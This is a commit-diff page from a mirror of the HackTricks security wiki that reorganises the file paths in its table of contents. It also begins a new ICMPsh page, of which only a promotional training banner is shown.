mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 21:53:54 +00:00
GitBook: No commit message
This commit is contained in:
parent
a8bf02a965
commit
5b39029d68
160 changed files with 21452 additions and 3668 deletions
188
SUMMARY.md
188
SUMMARY.md
|
@ -29,35 +29,35 @@
|
|||
* [Clone a Website](generic-methodologies-and-resources/phishing-methodology/clone-a-website.md)
|
||||
* [Detecting Phishing](generic-methodologies-and-resources/phishing-methodology/detecting-phising.md)
|
||||
* [Phishing Files & Documents](generic-methodologies-and-resources/phishing-methodology/phishing-documents.md)
|
||||
* [Basic Forensic Methodology](forensics/basic-forensic-methodology/README.md)
|
||||
* [Baseline Monitoring](forensics/basic-forensic-methodology/file-integrity-monitoring.md)
|
||||
* [Anti-Forensic Techniques](forensics/basic-forensic-methodology/anti-forensic-techniques.md)
|
||||
* [Docker Forensics](forensics/basic-forensic-methodology/docker-forensics.md)
|
||||
* [Basic Forensic Methodology](generic-methodologies-and-resources/basic-forensic-methodology/README.md)
|
||||
* [Baseline Monitoring](generic-methodologies-and-resources/basic-forensic-methodology/file-integrity-monitoring.md)
|
||||
* [Anti-Forensic Techniques](generic-methodologies-and-resources/basic-forensic-methodology/anti-forensic-techniques.md)
|
||||
* [Docker Forensics](generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.md)
|
||||
* [Image Acquisition & Mount](generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md)
|
||||
* [Linux Forensics](forensics/basic-forensic-methodology/linux-forensics.md)
|
||||
* [Malware Analysis](forensics/basic-forensic-methodology/malware-analysis.md)
|
||||
* [Memory dump analysis](forensics/basic-forensic-methodology/memory-dump-analysis/README.md)
|
||||
* [Linux Forensics](generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md)
|
||||
* [Malware Analysis](generic-methodologies-and-resources/basic-forensic-methodology/malware-analysis.md)
|
||||
* [Memory dump analysis](generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md)
|
||||
* [Volatility - CheatSheet](generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)
|
||||
* [Partitions/File Systems/Carving](forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md)
|
||||
* [File/Data Carving & Recovery Tools](forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md)
|
||||
* [Pcap Inspection](forensics/basic-forensic-methodology/pcap-inspection/README.md)
|
||||
* [DNSCat pcap analysis](forensics/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md)
|
||||
* [Partitions/File Systems/Carving](generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md)
|
||||
* [File/Data Carving & Recovery Tools](generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md)
|
||||
* [Pcap Inspection](generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md)
|
||||
* [DNSCat pcap analysis](generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md)
|
||||
* [Suricata & Iptables cheatsheet](generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md)
|
||||
* [USB Keystrokes](forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md)
|
||||
* [Wifi Pcap Analysis](forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md)
|
||||
* [Wireshark tricks](forensics/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md)
|
||||
* [Specific Software/File-Type Tricks](forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md)
|
||||
* [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||
* [Browser Artifacts](forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
|
||||
* [Desofuscation vbs (cscript.exe)](forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
|
||||
* [Local Cloud Storage](forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
|
||||
* [Office file analysis](forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
|
||||
* [PDF File analysis](forensics/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
|
||||
* [PNG tricks](forensics/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md)
|
||||
* [Video and Audio file analysis](forensics/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md)
|
||||
* [ZIPs tricks](forensics/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md)
|
||||
* [Windows Artifacts](forensics/basic-forensic-methodology/windows-forensics/README.md)
|
||||
* [Interesting Windows Registry Keys](forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md)
|
||||
* [USB Keystrokes](generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md)
|
||||
* [Wifi Pcap Analysis](generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md)
|
||||
* [Wireshark tricks](generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md)
|
||||
* [Specific Software/File-Type Tricks](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md)
|
||||
* [Decompile compiled python binaries (exe, elf) - Retreive from .pyc](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||
* [Browser Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md)
|
||||
* [Desofuscation vbs (cscript.exe)](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md)
|
||||
* [Local Cloud Storage](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md)
|
||||
* [Office file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md)
|
||||
* [PDF File analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/pdf-file-analysis.md)
|
||||
* [PNG tricks](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md)
|
||||
* [Video and Audio file analysis](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md)
|
||||
* [ZIPs tricks](generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md)
|
||||
* [Windows Artifacts](generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md)
|
||||
* [Interesting Windows Registry Keys](generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md)
|
||||
* [Brute Force - CheatSheet](generic-methodologies-and-resources/brute-force.md)
|
||||
* [Python Sandbox Escape & Pyscript](generic-methodologies-and-resources/python/README.md)
|
||||
* [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md)
|
||||
|
@ -125,8 +125,8 @@
|
|||
* [Splunk LPE and Persistence](linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
|
||||
* [SSH Forward Agent exploitation](linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md)
|
||||
* [Wildcards Spare tricks](linux-hardening/privilege-escalation/wildcards-spare-tricks.md)
|
||||
* [Useful Linux Commands](linux-hardening/useful-linux-commands/README.md)
|
||||
* [Bypass Linux Restrictions](linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
|
||||
* [Useful Linux Commands](linux-hardening/useful-linux-commands.md)
|
||||
* [Bypass Linux Restrictions](linux-hardening/bypass-bash-restrictions/README.md)
|
||||
* [Bypass FS protections: read-only / no-exec / Distroless](linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md)
|
||||
* [DDexec / EverythingExec](linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/ddexec.md)
|
||||
* [Linux Environment Variables](linux-hardening/linux-environment-variables.md)
|
||||
|
@ -163,8 +163,8 @@
|
|||
* [macOS Dirty NIB](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md)
|
||||
* [macOS Chromium Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md)
|
||||
* [macOS Electron Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md)
|
||||
* [macOS Function Hooking](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-function-hooking.md)
|
||||
* [macOS IPC - Inter Process Communication](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
|
||||
* [macOS Function Hooking](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-function-hooking.md)
|
||||
* [macOS IPC - Inter Process Communication](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/README.md)
|
||||
* [macOS MIG - Mach Interface Generator](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md)
|
||||
* [macOS XPC](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/README.md)
|
||||
* [macOS XPC Authorization](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md)
|
||||
|
@ -174,7 +174,7 @@
|
|||
* [macOS Thread Injection via Task port](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md)
|
||||
* [macOS Java Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-java-apps-injection.md)
|
||||
* [macOS Library Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/README.md)
|
||||
* [macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES](macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
||||
* [macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
|
||||
* [macOS Perl Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md)
|
||||
* [macOS Python Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-python-applications-injection.md)
|
||||
* [macOS Ruby Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md)
|
||||
|
@ -207,13 +207,13 @@
|
|||
|
||||
* [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
|
||||
* [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
||||
* [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md)
|
||||
* [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
||||
* [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
|
||||
* [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)
|
||||
* [AppendData/AddSubdirectory permission over service registry](windows-hardening/windows-local-privilege-escalation/appenddata-addsubdirectory-permission-over-service-registry.md)
|
||||
* [Create MSI with WIX](windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md)
|
||||
* [COM Hijacking](windows-hardening/windows-local-privilege-escalation/com-hijacking.md)
|
||||
* [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
||||
* [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md)
|
||||
* [Writable Sys Path +Dll Hijacking Privesc](windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md)
|
||||
* [DPAPI - Extracting Passwords](windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md)
|
||||
* [From High Integrity to SYSTEM with Name Pipes](windows-hardening/windows-local-privilege-escalation/from-high-integrity-to-system-with-name-pipes.md)
|
||||
|
@ -230,7 +230,7 @@
|
|||
* [Active Directory Methodology](windows-hardening/active-directory-methodology/README.md)
|
||||
* [Abusing Active Directory ACLs/ACEs](windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md)
|
||||
* [Shadow Credentials](windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials.md)
|
||||
* [AD Certificates](windows-hardening/active-directory-methodology/ad-certificates.md)
|
||||
* [AD Certificates](windows-hardening/active-directory-methodology/ad-certificates/README.md)
|
||||
* [AD CS Account Persistence](windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md)
|
||||
* [AD CS Domain Escalation](windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md)
|
||||
* [AD CS Domain Persistence](windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md)
|
||||
|
@ -266,22 +266,22 @@
|
|||
* [Silver Ticket](windows-hardening/active-directory-methodology/silver-ticket.md)
|
||||
* [Skeleton Key](windows-hardening/active-directory-methodology/skeleton-key.md)
|
||||
* [Unconstrained Delegation](windows-hardening/active-directory-methodology/unconstrained-delegation.md)
|
||||
* [Windows Security Controls](windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||
* [UAC - User Account Control](windows-hardening/windows-security-controls/uac-user-account-control.md)
|
||||
* [Windows Security Controls](windows-hardening/authentication-credentials-uac-and-efs/README.md)
|
||||
* [UAC - User Account Control](windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control.md)
|
||||
* [NTLM](windows-hardening/ntlm/README.md)
|
||||
* [Places to steal NTLM creds](windows-hardening/ntlm/places-to-steal-ntlm-creds.md)
|
||||
* [Lateral Movement](windows-hardening/lateral-movement/README.md)
|
||||
* [AtExec / SchtasksExec](windows-hardening/ntlm/atexec.md)
|
||||
* [AtExec / SchtasksExec](windows-hardening/lateral-movement/atexec.md)
|
||||
* [DCOM Exec](windows-hardening/lateral-movement/dcom-exec.md)
|
||||
* [PsExec/Winexec/ScExec](windows-hardening/ntlm/psexec-and-winexec.md)
|
||||
* [SmbExec/ScExec](windows-hardening/ntlm/smbexec.md)
|
||||
* [WinRM](windows-hardening/ntlm/winrm.md)
|
||||
* [WmicExec](windows-hardening/ntlm/wmicexec.md)
|
||||
* [PsExec/Winexec/ScExec](windows-hardening/lateral-movement/psexec-and-winexec.md)
|
||||
* [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md)
|
||||
* [WinRM](windows-hardening/lateral-movement/winrm.md)
|
||||
* [WmicExec](windows-hardening/lateral-movement/wmicexec.md)
|
||||
* [Pivoting to the Cloud](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements)
|
||||
* [Stealing Windows Credentials](windows-hardening/stealing-credentials/README.md)
|
||||
* [Windows Credentials Protections](windows-hardening/stealing-credentials/credentials-protections.md)
|
||||
* [Mimikatz](windows-hardening/stealing-credentials/credentials-mimikatz.md)
|
||||
* [WTS Impersonator](windows-hardening/stealing-credentials/WTS-Impersonator.md)
|
||||
* [WTS Impersonator](windows-hardening/stealing-credentials/wts-impersonator.md)
|
||||
* [Basic Win CMD for Pentesters](windows-hardening/basic-cmd-for-pentesters.md)
|
||||
* [Basic PowerShell for Pentesters](windows-hardening/basic-powershell-for-pentesters/README.md)
|
||||
* [PowerView/SharpView](windows-hardening/basic-powershell-for-pentesters/powerview.md)
|
||||
|
@ -418,7 +418,7 @@
|
|||
* [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||
* [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
|
||||
* [Symfony](network-services-pentesting/pentesting-web/symphony.md)
|
||||
* [Tomcat](network-services-pentesting/pentesting-web/tomcat.md)
|
||||
* [Tomcat](network-services-pentesting/pentesting-web/tomcat/README.md)
|
||||
* [Basic Tomcat Info](network-services-pentesting/pentesting-web/tomcat/basic-tomcat-info.md)
|
||||
* [Uncovering CloudFlare](network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
|
||||
* [VMWare (ESX, VCenter...)](network-services-pentesting/pentesting-web/vmware-esx-vcenter....md)
|
||||
|
@ -436,7 +436,7 @@
|
|||
* [123/udp - Pentesting NTP](network-services-pentesting/pentesting-ntp.md)
|
||||
* [135, 593 - Pentesting MSRPC](network-services-pentesting/135-pentesting-msrpc.md)
|
||||
* [137,138,139 - Pentesting NetBios](network-services-pentesting/137-138-139-pentesting-netbios.md)
|
||||
* [139,445 - Pentesting SMB](network-services-pentesting/pentesting-smb.md)
|
||||
* [139,445 - Pentesting SMB](network-services-pentesting/pentesting-smb/README.md)
|
||||
* [rpcclient enumeration](network-services-pentesting/pentesting-smb/rpcclient-enumeration.md)
|
||||
* [143,993 - Pentesting IMAP](network-services-pentesting/pentesting-imap.md)
|
||||
* [161,162,10161,10162/udp - Pentesting SNMP](network-services-pentesting/pentesting-snmp/README.md)
|
||||
|
@ -463,7 +463,7 @@
|
|||
* [1414 - Pentesting IBM MQ](network-services-pentesting/1414-pentesting-ibmmq.md)
|
||||
* [1433 - Pentesting MSSQL - Microsoft SQL Server](network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md)
|
||||
* [Types of MSSQL Users](network-services-pentesting/pentesting-mssql-microsoft-sql-server/types-of-mssql-users.md)
|
||||
* [1521,1522-1529 - Pentesting Oracle TNS Listener](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md)
|
||||
* [1521,1522-1529 - Pentesting Oracle TNS Listener](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md)
|
||||
* [1723 - Pentesting PPTP](network-services-pentesting/1723-pentesting-pptp.md)
|
||||
* [1883 - Pentesting MQTT (Mosquitto)](network-services-pentesting/1883-pentesting-mqtt-mosquitto.md)
|
||||
* [2049 - Pentesting NFS Service](network-services-pentesting/nfs-service-pentesting.md)
|
||||
|
@ -515,7 +515,7 @@
|
|||
|
||||
## 🕸️ Pentesting Web
|
||||
|
||||
* [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology/README.md)
|
||||
* [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology.md)
|
||||
* [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
|
||||
* [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md)
|
||||
* [2FA/OTP Bypass](pentesting-web/2fa-bypass.md)
|
||||
|
@ -656,7 +656,7 @@
|
|||
* [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md)
|
||||
* [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md)
|
||||
* [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
|
||||
* [XS-Search/XS-Leaks](pentesting-web/xs-search.md)
|
||||
* [XS-Search/XS-Leaks](pentesting-web/xs-search/README.md)
|
||||
* [Connection Pool Examples](pentesting-web/xs-search/connection-pool-example.md)
|
||||
* [Connection Pool by Destination Example](pentesting-web/xs-search/connection-pool-by-destination-example.md)
|
||||
* [Cookie Bomb + Onerror XS Leak](pentesting-web/xs-search/cookie-bomb-+-onerror-xs-leak.md)
|
||||
|
@ -676,23 +676,23 @@
|
|||
|
||||
## 😎 Hardware/Physical Access
|
||||
|
||||
* [Physical Attacks](physical-attacks/physical-attacks.md)
|
||||
* [Escaping from KIOSKs](physical-attacks/escaping-from-gui-applications/README.md)
|
||||
* [Firmware Analysis](physical-attacks/firmware-analysis/README.md)
|
||||
* [Bootloader testing](physical-attacks/firmware-analysis/bootloader-testing.md)
|
||||
* [Firmware Integrity](physical-attacks/firmware-analysis/firmware-integrity.md)
|
||||
* [Physical Attacks](hardware-physical-access/physical-attacks.md)
|
||||
* [Escaping from KIOSKs](hardware-physical-access/escaping-from-gui-applications.md)
|
||||
* [Firmware Analysis](hardware-physical-access/firmware-analysis/README.md)
|
||||
* [Bootloader testing](hardware-physical-access/firmware-analysis/bootloader-testing.md)
|
||||
* [Firmware Integrity](hardware-physical-access/firmware-analysis/firmware-integrity.md)
|
||||
|
||||
## 🦅 Reversing & Exploiting
|
||||
|
||||
* [Reversing Tools & Basic Methods](reversing/reversing-tools-basic-methods/README.md)
|
||||
* [Angr](reversing/reversing-tools-basic-methods/angr/README.md)
|
||||
* [Angr - Examples](reversing/reversing-tools-basic-methods/angr/angr-examples.md)
|
||||
* [Z3 - Satisfiability Modulo Theories (SMT)](reversing/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md)
|
||||
* [Cheat Engine](reversing/reversing-tools-basic-methods/cheat-engine.md)
|
||||
* [Blobrunner](reversing/reversing-tools-basic-methods/blobrunner.md)
|
||||
* [Common API used in Malware](reversing/common-api-used-in-malware.md)
|
||||
* [Word Macros](reversing/word-macros.md)
|
||||
* [Linux Exploiting (Basic) (SPA)](exploiting/linux-exploiting-basic-esp/README.md)
|
||||
* [Reversing Tools & Basic Methods](reversing-and-exploiting/reversing-tools-basic-methods/README.md)
|
||||
* [Angr](reversing-and-exploiting/reversing-tools-basic-methods/angr/README.md)
|
||||
* [Angr - Examples](reversing-and-exploiting/reversing-tools-basic-methods/angr/angr-examples.md)
|
||||
* [Z3 - Satisfiability Modulo Theories (SMT)](reversing-and-exploiting/reversing-tools-basic-methods/satisfiability-modulo-theories-smt-z3.md)
|
||||
* [Cheat Engine](reversing-and-exploiting/reversing-tools-basic-methods/cheat-engine.md)
|
||||
* [Blobrunner](reversing-and-exploiting/reversing-tools-basic-methods/blobrunner.md)
|
||||
* [Common API used in Malware](reversing-and-exploiting/common-api-used-in-malware.md)
|
||||
* [Word Macros](reversing-and-exploiting/word-macros.md)
|
||||
* [Linux Exploiting (Basic) (SPA)](reversing-and-exploiting/linux-exploiting-basic-esp/README.md)
|
||||
* [Stack Overflow](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md)
|
||||
* [ROP - Return Oriented Programing](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md)
|
||||
* [Ret2lib](reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md)
|
||||
|
@ -727,47 +727,47 @@
|
|||
* [AW2Exec - GOT/PLT](reversing-and-exploiting/linux-exploiting-basic-esp/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
||||
* [Common Exploiting Problems](reversing-and-exploiting/linux-exploiting-basic-esp/common-exploiting-problems.md)
|
||||
* [ELF Basic Information](reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md)
|
||||
* [Fusion](exploiting/linux-exploiting-basic-esp/fusion.md)
|
||||
* [Exploiting Tools](exploiting/tools/README.md)
|
||||
* [PwnTools](exploiting/tools/pwntools.md)
|
||||
* [Windows Exploiting (Basic Guide - OSCP lvl)](exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
* [Fusion](reversing-and-exploiting/linux-exploiting-basic-esp/fusion.md)
|
||||
* [Exploiting Tools](reversing-and-exploiting/tools/README.md)
|
||||
* [PwnTools](reversing-and-exploiting/tools/pwntools.md)
|
||||
* [Windows Exploiting (Basic Guide - OSCP lvl)](reversing-and-exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
|
||||
## 🔮 Crypto & Stego
|
||||
|
||||
* [Cryptographic/Compression Algorithms](reversing/cryptographic-algorithms/README.md)
|
||||
* [Unpacking binaries](reversing/cryptographic-algorithms/unpacking-binaries.md)
|
||||
* [Certificates](cryptography/certificates.md)
|
||||
* [Cipher Block Chaining CBC-MAC](cryptography/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [Crypto CTFs Tricks](cryptography/crypto-ctfs-tricks.md)
|
||||
* [Electronic Code Book (ECB)](cryptography/electronic-code-book-ecb.md)
|
||||
* [Hash Length Extension Attack](cryptography/hash-length-extension-attack.md)
|
||||
* [Padding Oracle](cryptography/padding-oracle-priv.md)
|
||||
* [RC4 - Encrypt\&Decrypt](cryptography/rc4-encrypt-and-decrypt.md)
|
||||
* [Stego Tricks](stego/stego-tricks.md)
|
||||
* [Esoteric languages](stego/esoteric-languages.md)
|
||||
* [Blockchain & Crypto Currencies](blockchain/blockchain-and-crypto-currencies/README.md)
|
||||
* [Cryptographic/Compression Algorithms](crypto-and-stego/cryptographic-algorithms/README.md)
|
||||
* [Unpacking binaries](crypto-and-stego/cryptographic-algorithms/unpacking-binaries.md)
|
||||
* [Certificates](crypto-and-stego/certificates.md)
|
||||
* [Cipher Block Chaining CBC-MAC](crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [Crypto CTFs Tricks](crypto-and-stego/crypto-ctfs-tricks.md)
|
||||
* [Electronic Code Book (ECB)](crypto-and-stego/electronic-code-book-ecb.md)
|
||||
* [Hash Length Extension Attack](crypto-and-stego/hash-length-extension-attack.md)
|
||||
* [Padding Oracle](crypto-and-stego/padding-oracle-priv.md)
|
||||
* [RC4 - Encrypt\&Decrypt](crypto-and-stego/rc4-encrypt-and-decrypt.md)
|
||||
* [Stego Tricks](crypto-and-stego/stego-tricks.md)
|
||||
* [Esoteric languages](crypto-and-stego/esoteric-languages.md)
|
||||
* [Blockchain & Crypto Currencies](crypto-and-stego/blockchain-and-crypto-currencies.md)
|
||||
|
||||
## 🦂 C2
|
||||
|
||||
* [Salseo](backdoors/salseo.md)
|
||||
* [ICMPsh](backdoors/icmpsh.md)
|
||||
* [Salseo](c2/salseo.md)
|
||||
* [ICMPsh](c2/icmpsh.md)
|
||||
* [Cobalt Strike](c2/cobalt-strike.md)
|
||||
|
||||
## ✍️ TODO
|
||||
|
||||
* [Other Big References](misc/references.md)
|
||||
* [Other Big References](todo/references.md)
|
||||
* [Rust Basics](todo/rust-basics.md)
|
||||
* [More Tools](todo/more-tools.md)
|
||||
* [MISC](todo/misc.md)
|
||||
* [Pentesting DNS](pentesting-dns.md)
|
||||
* [Pentesting DNS](todo/pentesting-dns.md)
|
||||
* [Hardware Hacking](todo/hardware-hacking/README.md)
|
||||
* [I2C](todo/hardware-hacking/i2c.md)
|
||||
* [UART](todo/hardware-hacking/uart.md)
|
||||
* [Radio](todo/hardware-hacking/radio.md)
|
||||
* [JTAG](todo/hardware-hacking/jtag.md)
|
||||
* [SPI](todo/hardware-hacking/spi.md)
|
||||
* [Radio Hacking](radio-hacking/README.md)
|
||||
* [Pentesting RFID](radio-hacking/pentesting-rfid.md)
|
||||
* [Radio Hacking](todo/radio-hacking/README.md)
|
||||
* [Pentesting RFID](todo/radio-hacking/pentesting-rfid.md)
|
||||
* [Infrared](todo/radio-hacking/infrared.md)
|
||||
* [Sub-GHz RF](todo/radio-hacking/sub-ghz-rf.md)
|
||||
* [iButton](todo/radio-hacking/ibutton.md)
|
||||
|
@ -779,16 +779,16 @@
|
|||
* [FZ - 125kHz RFID](todo/radio-hacking/flipper-zero/fz-125khz-rfid.md)
|
||||
* [Proxmark 3](todo/radio-hacking/proxmark-3.md)
|
||||
* [FISSURE - The RF Framework](todo/radio-hacking/fissure-the-rf-framework.md)
|
||||
* [Low-Power Wide Area Network](radio-hacking/low-power-wide-area-network.md)
|
||||
* [Pentesting BLE - Bluetooth Low Energy](radio-hacking/pentesting-ble-bluetooth-low-energy.md)
|
||||
* [Burp Suite](burp-suite.md)
|
||||
* [Other Web Tricks](other-web-tricks.md)
|
||||
* [Interesting HTTP](interesting-http.md)
|
||||
* [Emails Vulnerabilities](emails-vulns.md)
|
||||
* [Android Forensics](android-forensics.md)
|
||||
* [Low-Power Wide Area Network](todo/radio-hacking/low-power-wide-area-network.md)
|
||||
* [Pentesting BLE - Bluetooth Low Energy](todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md)
|
||||
* [Burp Suite](todo/burp-suite.md)
|
||||
* [Other Web Tricks](todo/other-web-tricks.md)
|
||||
* [Interesting HTTP](todo/interesting-http.md)
|
||||
* [Emails Vulnerabilities](todo/emails-vulns.md)
|
||||
* [Android Forensics](todo/android-forensics.md)
|
||||
* [TR-069](todo/tr-069.md)
|
||||
* [6881/udp - Pentesting BitTorrent](6881-udp-pentesting-bittorrent.md)
|
||||
* [Online Platforms with API](online-platforms-with-api.md)
|
||||
* [Stealing Sensitive Information Disclosure from a Web](stealing-sensitive-information-disclosure-from-a-web.md)
|
||||
* [Post Exploitation](post-exploitation.md)
|
||||
* [6881/udp - Pentesting BitTorrent](todo/6881-udp-pentesting-bittorrent.md)
|
||||
* [Online Platforms with API](todo/online-platforms-with-api.md)
|
||||
* [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md)
|
||||
* [Post Exploitation](todo/post-exploitation.md)
|
||||
* [Cookies Policy](todo/cookies-policy.md)
|
||||
|
|
50
c2/icmpsh.md
Normal file
50
c2/icmpsh.md
Normal file
|
@ -0,0 +1,50 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
